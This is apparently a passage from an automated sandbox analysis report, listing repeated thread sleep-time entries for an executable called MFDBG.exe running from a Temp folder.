Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -98962s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -98265s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -98025s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -97687s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -97457s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -97268s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -97078s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -96885s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -96728s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -99797s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -99625s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -99297s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -99890s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -99730s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -99531s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -99359s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -99187s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -98937s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -99891s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -99728s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -99578s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -99910s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -99688s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -99094s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -98891s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -595735s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -595518s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -595312s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -595136s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -594954s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -594794s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -594539s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -594376s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -594203s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -593552s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -593297s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -593094s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -592931s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -592750s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -592594s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -592438s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -592250s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -592062s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -591907s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -591747s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -591594s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -591329s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -590850s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -590671s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -590468s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -590271s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -590069s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -589829s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -589625s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -589360s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -589172s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -588954s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -588657s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -588114s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -587936s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -587746s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -587567s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -587333s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -587094s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -586886s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -586650s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -586479s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -586250s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -585625s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -585435s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -585196s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -585000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -584826s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -584609s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -584412s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -584219s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -584032s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -583827s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -583610s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -583016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -582749s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -582532s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -582363s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -582174s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -582012s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -581829s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -581647s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -581395s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -581110s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -580820s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -580245s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -579985s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -579813s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -579593s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -579421s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -579236s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -579023s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -578719s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -578516s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -578219s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -577625s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -577425s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -577231s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -577086s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -576976s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -576704s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -576391s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -576184s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -575938s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -575730s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -575087s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -574860s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -574667s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -574444s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -574250s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -573985s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -573762s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -573578s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -573373s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -573193s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -572516s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -572276s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -572059s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -571907s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -571733s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -571577s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -571391s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -571249s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -571022s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -570837s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -570661s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -570478s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -570157s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -569657s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -569468s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -569297s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -569096s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -568873s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -568684s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -568454s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -568256s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -568094s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -567860s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -567320s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -567147s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -566907s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -566680s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -566467s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -566295s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -566141s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -565938s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -565750s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -565547s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -565419s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -565213s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -564641s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -564426s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -564235s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -564032s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -563829s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -563598s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -563313s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -563110s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -562938s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -562688s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -562313s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -561797s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -561640s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -561442s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -561282s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -561123s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -560909s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -560714s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -560498s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -560329s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -560140s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -559897s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -559716s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -559563s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -559344s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -559172s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -558984s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -558753s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -558593s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -558436s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -558282s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -558091s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -557844s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -557657s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -557469s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -557266s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -557044s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -556875s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -556655s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -556455s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -556286s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -556110s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -555956s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -555749s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -555549s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -555329s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -555094s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -554922s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -554674s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -554442s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -554224s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -553954s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -553625s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -553141s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -552969s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -552782s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -552563s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -552420s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 5476	Thread sleep time: -552261s >= -30000s	Jump to behavior
